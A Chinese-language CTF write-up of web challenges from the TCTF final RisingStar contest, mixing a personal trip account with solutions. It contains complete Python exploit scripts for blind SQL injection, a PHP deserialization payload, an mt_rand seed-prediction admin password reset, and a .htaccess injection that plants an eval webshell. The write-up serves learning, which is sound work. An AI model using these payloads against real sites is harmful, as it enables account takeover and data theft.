近期洒家参加了 TCTF 决赛 RisingStar CTF,其中有几道 Web 题还是很有意思的,在此做一下详细的记录。
关于比赛¶
说起来这还是洒家第一次坐飞机,飞机上景色不错,起飞和降落的时候加速度给人很爽的感觉。然而飞到深圳,一出地铁洒家就慌了,真不是埋汰他,这城市是真滴很热。不过这里也有好的地方,每个建筑物里面肯定有空调。所以洒家这几天除了比赛和参观都不出门,什么景点都没看。
赛场上见识了很多国内和国际的大佬,后者有 Shellphish、LC⚡BC 等,以及有女装大佬的 Binja。
比赛中洒家主要负责 Web 方面,题目很有难度,主要思路是跟着国际赛的计分板走。第一天在做 Avatar Center,首先发现了一个 SQL 注入,把数据库扒了个底朝天也没发现 flag,又研究设置头像功能和设置时区功能一直没有搞清程序的逻辑。然而让人意外的是,一次登录之后突然发现 flag 出现在了本应该显示时区的位置。洒家走了狗屎运,捡漏了!后来才知道可以扫出来一个 FTP 端口拿源码,设置时区那里有命令注入漏洞(黑人问号???)。这道题做了很长时间没有头绪,但是计分板显示已经有很多人解出这道题,那么这时候应该想到是不是存在没有注意到的信息,可以考虑扫描端口目录等。
拿到这个 flag 后,第一天的比赛快结束了,考虑到 Ugly Web 有一堆源码需要审计,也有很多人解出来了这道题,回到酒店主要在审计源码。洒家很快发现了第一个漏洞(反序列化 + SQL 注入),本地环境可以拿到 2 个 flag,但是很怕这里面有坑,因为大家都只做出来了第 1 个 flag。果然,第二天开场运行脚本只能拿到一个 flag。第二天上午因为搞不出来 Ugly Web flag 2,洒家转向了 Ocean Fish,很快发现了 SQL 注入漏洞,拿到了 admin 密码作为第 1 个 flag。进入后台之后,找到了执行任意 PHP 代码的方法,也分析出来 flag 肯定就在 OPCache 里面。但是有 disable_functions
和 open_basedir
的限制并不能拿到 OPCache。赛后才知道要用到 SQLite 的 bug/feature 来绕过。
比赛过程中断断续续分析了 Lucky game,但是 WAF 太厉害,并不能解出这道题。在这里必须要膜一下 AAA 战队的大佬。
最后做出了 Web 的 3 道题,总体拿到了 Rising Star CTF 第 7 的成绩。
以下是部分题目的记录。
Lucky Game¶
这道题的主要功能是猜数字,首先注册、登录,然后可以用 10 个 points 的本金赌猜数字。题目的 flag 是 md5(password_of_admin)
。题目给出了 index.php
的源码,代码非常简洁只有二百余行,显然是 SQL 注入来拿 admin 的密码 md5,但是却暗藏玄机。
初步分析代码¶
- 有一个
filter
函数,除了常见的几个 SQL 黑名单之外还过滤了数据库的所有表名、列名register
、login
、user_log
、my_point
函数都经过filter
函数过滤。综合来看,所有进入 SQL 的用户输入都经过了filter
过滤。
- 所有的
$_GET
$_POST
的值都经过了mysqli_escape_string
转义- 登录、注册受到影响。
- 猜数字的参数使用了
$_REQUEST['bet']
和$_REQUEST['guess']
,不会被转义 - 简单的测试可以发现,数据库在
INSERT
的时候,会拒绝对于该字段过长的输入,猜测是开启了STRICT_TRANS_TABLES
这种sql_mode
。
两个 SQL 注入漏洞:
- 登录、注册经过了转义,但是登录成功之后
$_SESSION['user']
存储的是原始没有经过转义的用户名,可以在后面的my_point
函数造成二次注入。- 但是
update_point
函数使用了数字型的$_SESSION['id']
,不会有注入风险。
- 但是
user_log
函数可以INSERT
注入- 每轮游戏之后如果猜对了数字,会执行
update_point($_REQUEST['bet'])
,这个函数的 SQL 语句使用%d
格式化字符串,无法注入;随后调用user_log
函数,参数不会被转义,只经过了filter
函数过滤,可以 SQL 注入。但是如果没有猜对数字,则会执行update_point(-$_REQUEST['bet'])
,这时候这个参数被类型转换成了数字型,无法注入。根据代码成功概率是 。 user_log
函数中可以利用数据库的严格模式,报错实现盲注(Error-based blind SQL injection)。可以用以下报错方法:插入超长数据报错、数据类型不匹配报错、除零报错等。
- 每轮游戏之后如果猜对了数字,会执行
难点¶
我在发现这两个漏洞之后,注册了一个 'union select 1,1,1,'98
账号,避免余额不足的问题;然后写脚本用后面的盲注查询了一堆 version()
、user()
。但是如果要查询 admin 的密码,绕不开 filter()
的限制。以前如果只限制了列名,还可以用别名等 trick 绕过,然而这里限制了表名,只能当场 GG。
绕过 filter()
的整体思路¶
赛后看了小 m 的博客以及听了主办方讲解,知道了可行的方法:
整个代码的执行过程是同一次 MySQL 连接,可以用在二次注入中用 SELECT ... INTO Syntax 把 SELECT
的结果弄到一个变量里面,然后再用另一个 SQL 盲注漏洞把变量查询出来。用 MySQL 变量把两个漏洞结合起来,巧妙地绕过了 filter()
。
那么整体的思路是:
注册用户 admin' into @a,@b,@c,@d#
,用户名二次注入在 my_point()
中形成 SQL 语句:
SELECT * FROM users WHERE username = 'admin' into @a,@b,@c,@d#'
然后使用 INSERT
盲注,只需要查询 @c
变量,就绕过了 filter()
的限制。
以上是大概的思路。然后还要解决用户名的副作用:由于 SELECT
的结果进入了变量,不会把结果集返回给 PHP,my_point()
函数返回值是 int 0
,需要在后面处理余额为 0 的问题。需要满足条件:
(int)$_REQUEST['bet'] > 0 && !($_REQUEST['bet'] > $points) // $points === 0
看似矛盾,但是作为最好的语言,PHP 必有特性。经过一番试验,在特定 PHP 版本下,由于使用 (int)
强制类型转换和比较运算时类型转换规则和结果的不同,科学记数法 1e-10000
在强制类型转换的时候值为 1,然而在和 0 比较时,则会等于 0
var_dump((int)'1e-10000'); // 1
var_dump('1e-10000' == 0); // true
根据这个特性,$_REQUESTS['bet']
以 1e-10000
开头就可以成功注入。
攻击脚本¶
实际运行可以发现,由于只有猜数字赢了才能注入,成功率较低。洒家优化了脚本,尽可能减少请求次数。由于需要得到的是 md5 只由 0-9
a-f
组成,所以只获取 3-4 个 ASCII 的二进制位就可以确定这个字符。脚本用了数据类型不匹配报错。
# encoding: utf-8
import requests
import string
import random
import sys
import logging
logging.basicConfig(level=logging.INFO,
format='%(asctime)s [%(levelname)s]:%(message)s',
datefmt='%H:%M:%S',
stream=sys.stdout)
# generate 4 chars as mysql variable
db_variables = []
while True:
ch = random.choice(string.ascii_lowercase)
if ch not in db_variables:
db_variables.append(ch)
if len(db_variables) == 4:
break
username = "admin' into %s#" % (','.join(['@' + ch for ch in db_variables]), )
password = '1234321'
# proxies = {'http': '127.0.0.1:8080'} # Burp Suite, for debug
proxies = None
url = 'http://192.168.201.3/' # 比赛场地内网
sess = requests.Session()
sess.proxies = proxies
logging.info('url: %s', url)
logging.info('username: %s', username)
# register
logging.info('register')
sess.post(url, params={'action': 'register'}, data={'user': username, 'pass': password})
# login
logging.info('login')
r = sess.post(url, params={'action': 'login'}, data={'user': username, 'pass': password})
if '<h2>You got ' not in r.content:
logging.error('register or login failed')
sys.exit(1)
else:
logging.info('login success')
request_count = 0
def bin_place(offset, times):
'''
get ascii binary place at offset (offset starts from 1 in sql)
e.g. 'abcde' is admin's password
bin_place(2, 3) ord(substr('abcde',2,1)) = 0b110 0 010 return 0
bin_place(1, 5) ord(substr('abcde',3,1)) = 0b1 1 00001 return 2 ** 5
'''
global request_count
num = 2 ** times
payload = "1e-10000'),(if(ord(substr((select @%s),%d,1))&%d,'a',5),'s')#" % (db_variables[2], offset, num)
params = {'bet': payload, 'guess': '5'}
while True: # until win
request_count += 1
r = sess.get(url, params=params)
if 'won' in r.content: # update_point($_REQUEST['bet']), can sql inject
if '</html>' in r.content:
return 0 # not error
else:
return num # error
result = ''
logging.info('retrieving admin password md5')
for offset in xrange(1, 32 + 1):
# for md5 0-9a-f, only need to get part of binary places
if bin_place(offset, 6): # a - f
result += chr(ord('a') - 1 + bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2))
else: # 0 - 9
result += '%d' % (bin_place(offset, 0) + bin_place(offset, 1) + bin_place(offset, 2) + bin_place(offset, 3), )
logging.info('retrieved: %s', result)
logging.info('end with %d requests', request_count)
logging.info('flag is: flag{%s}', result)
Ugly Web¶
题目是一个站内信系统,给出了一大堆源码。功能有注册、登录、重置、发送消息、显示消息。粗略看了一下还有 3 个类:User
、Message
、MessageManager
。这套代码里面有 2 个 flag,分别对应分开的两个题目。第一个在数据库中,显然需要 SQL 注入获得,第二个在 config.php
,用 admin 账号登录时发送。同时这道题目有两台服务器,之间的代码有区别,分别存储两个 flag。
洒家在酒店花了几个小时的时间看了大部分代码。首先轻松发现了第一个漏洞。这个漏洞理论上可以在两道题目上使用,但是第二天实际运行可以发现第二个服务器的代码做了修改,已经无法利用。然后洒家看了剩下的大部分代码也没有发现漏洞。这里洒家犯了严重的错误,在用第一个漏洞干掉两道题之后,漏掉了 reset.php
没有看。毕竟还是 too young too simple,还是缺乏章法和经验,一场严谨正常的比赛,不可能用一个漏洞拿两个 flag。
吐槽¶
PHP 作为弱类型、动态类型的编程语言,直接看到一个函数根本无法确定它的参数都是什么数据类型。对于关键的函数必须分析函数调用关系,确定参数、变量可能的数据类型。个人认为,PHP 因为有这样的特点,有各种特性古怪的函数,以及有其他的特点,导致了它的程序容易出现不容易发现的漏洞,增加写出正确程序、审计代码的成本。
漏洞 1 PHP 反序列化 + SQL 注入¶
escape()
函数¶
网站的功能的实现都已经抽象对这 3 个类的操作,因此分析这 3 个类的代码很重要。User
类中有一个 escape()
函数引人注意:
<?php
function escape($str)
{
if (is_array($str)) // escape 值,不 escape 键
{
$str = array_map([&$this, 'escape'], $str);
return $str;
}
else if (is_string($str))
{
return $this->dbConn->real_escape_string($str);
}
else if (is_bool($str)) // int 0 1
{
return ($str === false) ? 0 : 1;
}
else if ($str === null) // string 'NULL'
{
return 'NULL';
}
return $str; // 其他类型直接返回原值,不过滤
}
这个函数对于 array
、string
、bool
、null
都有操作,但是对于其他数据类型直接返回原始值。其他数据类型有什么可能?常见的就是 int
float
,还有一个重要的 object
。
登录¶
User->login($email, $password, $remember = false, $loadUser = true)
会对 $email escape()
处理,$password
变为 md5,直接传入 $email
和 $password
字符串不存在 SQL 注入漏洞。
网站登录的地方有一个 Remember me
的功能,如果选中则会在 User->login()
中登录成功后返回一个 Cookie,内容是 array('email'=>$email,'password'=>$originalPassword)
的序列化字符串。当 session 为空,但是发送了这个 Cookie,会反序列化这个字符串,将这个数组的成员作为参数传入 User->login()
自动登录。
反序列化漏洞 + SQL 注入¶
这里自然可以考虑 PHP 反序列化漏洞。除了 User
类之外还有两个类可以考虑使用,经过观察 Message
类有一个 __toString
魔术方法:
<?php
class Message{
var $msg = "";
var $from = "";
var $to = "";
var $id = -1;
function __construct($from, $to, $msg, $id=-1) {
// ....
}
function __toString(){
return $this->msg;
}
}
结合上面对 User->escape()
的分析,可以把 Message
对象作为 $email
传入 User->login()
,对象可以直接绕过 escape,然后在拼接 SQL 时,会调用 Message->__toString()
返回 Message->msg
,将 Message->msg
直接拼接进入 SQL 语句,造成 SQL 注入漏洞。下面是登录任意账号的方法:
<?php
$payload = 'root@5alt.me\'#';
$msg = new Message('a','b',$payload,-1);
$rem = ['email'=>$msg,'password'=>'p'];
echo base64_encode(serialize($rem));
分析其他代码,这一个用户输入并不容易进入更深的程序中,并不容易直接显示 flag。因此我使用了 Boolean-based blind
盲注获得数据库中的 flag。
脚本 select flag from flag¶
#!/usr/bin/env python
# encoding: utf-8
import sys
import os
import requests
import phpserialize
import time
import logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s]:%(message)s',
datefmt='%H:%M:%S',
stream=sys.stdout,
)
# s:87:"no.nc'or `email`=if(substr((select flag from flag),1,1)='f', 'root@5alt.me','no.nc') -- ";
# a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg"; XXX s:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}
flag = ''
#payload_template = "no.nc'or `email`=if(ascii(substr((select password from users where userID=1),%d,1))&%d, 'root@example.com','no.nc') -- "
payload_template = "no.nc'or `email`=if(ascii(substr((select flag from flag),%d,1))&%d, 'root@example.com','no.nc') -- "
ckSavePass_template = 'a:2:{s:5:"email";O:7:"Message":4:{s:3:"msg";%ss:4:"from";s:4:"from";s:2:"to";s:2:"to";s:2:"id";i:-1;}s:8:"password";s:14:"wrong password";}'
default_domain = sys.argv[1] # 'http://192.168.0.181:23352/'
domain = default_domain
url = domain + 'login.php'
offset = 1
if 'ALL_PROXY' in os.environ:
proxies = os.environ['ALL_PROXY']
logging.warning('Using proxy: %s', repr(proxies))
else:
proxies = None
while '}' not in flag:
place_ascii = 0
for power in xrange(0, 7):
power_num = 2 ** power
payload = payload_template % (offset, power_num)
payload = phpserialize.dumps(payload)
cksavePass = ckSavePass_template % (payload, )
ckSavePass = cksavePass.encode('base64').replace('\n','').replace('=','')
sess = requests.Session() # new session
sess.proxies = proxies
r = sess.get(url, cookies = {'ckSavePass':ckSavePass}, allow_redirects=False)
# print len(r.content)
if r.status_code == 200: # login failed
print 0,
else: # login success, redirect to index.php
print 1,
place_ascii += power_num
flag += chr(place_ascii)
print flag
offset += 1
漏洞 2 预测 mt_rand()
重置 admin 密码¶
比赛过程中直接用漏洞 1 的代码攻击服务 2,会出现 500 错误。代码已经被修改,必须用别的漏洞拿到 admin 的 Cookie 中的 flag。
查看 reset.php
,这个页面的功能是找回密码。填写注册时的邮箱,程序会发送邮件,内容是一串随机字符串。正确填写字符串就能重置密码。
漏洞¶
值得注意的是对于所有的请求,都会类似的随机字符串 csrftoken
。按顺序,这些随机字符串是这样生成的:
<?php
// config.php
function gencsrftoken($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
$csrf = '';
for($i = 0; $i < $length; $i++) {
$csrf .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $csrf;
}
$csrftoken = gencsrftoken();
setcookie('csrftoken', $csrftoken, time()+3600, $base_path);
// user.class.php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
for($i = 0; $i < $length; $i++) {
$pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $pwd;
}
// reset.php
$h = $user->randomPass(20);
$email = 'Reset password code is: '.$h;
mail($_POST['email'], 'Reset your password', $email);
显然可以预测重置密码随机字符串。
这里还要拿出 php_mt_seed 工具。以前的使用方法是 ./php_mt_seed 第一个随机数
,后来看了说明才知道 php_mt_seed 也可以用于 mt_rand($min, $max)
的场景。运行 ./php_mt_seed 6 6 0 9 6 6 0 9 4 4 0 9
,参数 4 个一组,例如:7 8 0 9 表示 mt_rand(0, 9)
返回了 7-8。
然而在本地复现的时候,Apache 环境 mt_rand 播种之后似乎有了复用,在第一个随机数生成之前手动加入 mt_srand()
才能成功预测出种子。
漏洞利用脚本¶
需要用到编译好的 php_mt_seed,stdbuf、php 命令,以及下面两个脚本
#!/usr/bin/env python
# encoding: utf-8
import sys
import os
import subprocess
import requests
import logging
import random
import urllib
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s]:%(message)s',
datefmt='%H:%M:%S',
stream=sys.stdout
)
admin_mail = 'root@example.com'
new_admin_password = 'pwned{}'.format(random.randint(100000, 999999))
index_url = sys.argv[1] # 'http://192.168.0.181:23353/'
logging.info('target is %s', index_url)
reset_url = index_url + 'reset.php'
login_url = index_url + 'login.php'
sess = requests.Session()
if 'ALL_PROXY' in os.environ:
__ = os.environ['ALL_PROXY']
logging.warning('Using proxy: %s', repr(__))
sess.proxies = {
'http': __,
'https': __,
}
chars = '1234567890qwertyuiopasdfghjklzxcvbnm'
keygen_phpfile = './random-cli.php'
php_mt_seed = 'php_mt_seed'
success_str = 'Password changed'
length = len(chars)
logging.info('checking environment and tools...')
ENV_OK = True
if subprocess.call(['which', php_mt_seed]) != 0:
logging.critical('%s not found', php_mt_seed)
ENV_OK = False
if not os.path.isfile(keygen_phpfile):
logging.critical('%s not found', keygen_phpfile)
ENV_OK = False
if subprocess.call('type php', stdout=subprocess.PIPE,stderr=subprocess.PIPE,shell=True) != 0:
logging.critical('php cli not found')
ENV_OK = False
else:
phpinfo = subprocess.check_output(['php', '-v'])
logging.info('php found: %s', phpinfo[0:phpinfo.find('\n')])
if subprocess.call('type stdbuf', stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True) != 0:
logging.critical('stdbuf not found')
ENV_OK = False
if not ENV_OK:
logging.info('exiting')
sys.exit(2)
logging.info('testing url available...')
try:
r = sess.get(index_url)
if r.status_code != 200:
logging.critical('response code for %s is %d != 200', index_url, r.status_code)
sys.exit(1)
except Exception as e:
logging.critical('error %s %s', str(type(e)), str(e))
sys.exit(1)
logging.info('sending reset password for %s', admin_mail)
r = sess.post(reset_url, data={'email': admin_mail, 'csrftoken': 'abc'}, cookies={'csrftoken': 'abc'}, allow_redirects=False)
csrf_token = r.cookies['csrftoken']
logging.info('csrf token: %s', csrf_token)
logging.info('running php_mt_seed, please wait 5 min...')
cmd = ['stdbuf', '-i0', '-o0', '-e0', php_mt_seed, ]
for ch in csrf_token:
offset = chars.find(ch)
cmd += ('%d %d %d %d ' % (offset, offset, 0, length-1)).split()
logging.debug('php_mt_seed command: %s', ' '.join(cmd))
proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
while True:
line = proc.stdout.readline()
if line == '':
break
elif line.strip() == '':
continue
elif not line.startswith('seed = '):
continue
else: # 'seed = 16777230'
seed = line.strip()[7:]
#logging.info('there may be multiple possible seed. input them all. e.g. 1234 5678')
#seeds = raw_input('input seeds: ').strip().split()
print ''
sys.stdout.flush()
sys.stderr.flush()
logging.info('get seed %s', seed)
cmd = ['php', keygen_phpfile, seed]
code = subprocess.check_output(cmd).strip()
logging.info('verify code is %s', code)
r = sess.post(reset_url, data={'reset': code,'pwd': new_admin_password, 'csrftoken':'abc'}, cookies={'csrftoken': 'abc'})
if success_str in r.content:
proc.terminate()
logging.info(success_str)
logging.info('new password for %s is %s', admin_mail, new_admin_password)
logging.info('getting flag...')
r = sess.get(login_url)
csrf_token = r.cookies['csrftoken']
r = sess.post(login_url, data={'uname': admin_mail, 'pwd': new_admin_password, 'csrftoken': csrf_token})
r = sess.get(index_url)
for cookie in r.cookies:
if cookie.name != 'csrftoken':
logging.info('Cookie key %s value %s', cookie.name, urllib.unquote_plus(cookie.value))
else:
logging.info('code %s is wrong', code)
print ''
logging.info('exiting')
random-cli.php
<?php
function randomPass($length=10, $chrs = '1234567890qwertyuiopasdfghjklzxcvbnm'){
$pwd = '';
for($i = 0; $i < $length; $i++) {
$pwd .= $chrs{mt_rand(0, strlen($chrs)-1)};
}
return $pwd;
}
if(count($argv) === 2){
// echo PHP_INT_SIZE;
$seed = intval($argv[1]);
if(version_compare(PHP_VERSION, '7.1.0') >= 0){
mt_srand($seed, MT_RAND_PHP);
} else {
mt_srand($seed);
}
$csrf_token = randomPass();
$reset_code = randomPass(20);
echo $reset_code . "\n";
}
Ocean Fish¶
这道题也是分两个 flag。第一个 flag 提示 Flag1 is Admin's password
,做法详见 TCTF 2017 FINAL WEB PARTIAL WRITEUP - Melody。
拿到 admin 密码之后登进后台,可以执行任意 MySQL、SQLite3 的语句,也可以写入 .htaccess
来控制 url rewrite。
<?php
// /application/controllers/Admin.php
public function rewrite()
{
if(isset($_POST["rule"]))
{
file_put_contents("/var/www/html/.htaccess", "RewriteRule ".$_POST['rule']."\n", FILE_APPEND);
}
}
显然可以用换行符对 .htaccess
进行注入。洒家把 .htaccess
设置为:
RewriteRule ^abcd .index.php/abcd
# <?php eval($_GET['cmd']); ?>
php_value auto_prepend_file /var/www/html/.htaccess
这样运行任意 .php
文件都会首先包含这个 .htaccess
,执行注释中的代码,从而 getshell。
本来想着已经能执行任意 php 代码了美滋滋,没想到后面还有大坑:服务器设置了 disable_functions
和 open_basedir
,并不知道怎么绕过。
另外拿到了一个 crackme.php
:
<?php
function ccc($uuu){
return TRUE;
}
$user_input = $_GET['license'];
if(ccc($user_input)){
echo 'YES, FLAG IS flag{'.$user_input.'}';
}
?>
实际运行结果和代码逻辑不一样,猜测是重写了 OPCache
的缓存代码,由于 open_basedir
限制并不能拿到 OPCode。
赛后知道了绕过 open_basedir
的方法:Pwn SQLite3 特性还是漏洞?滥用 SQLite 分词器 - 长亭科技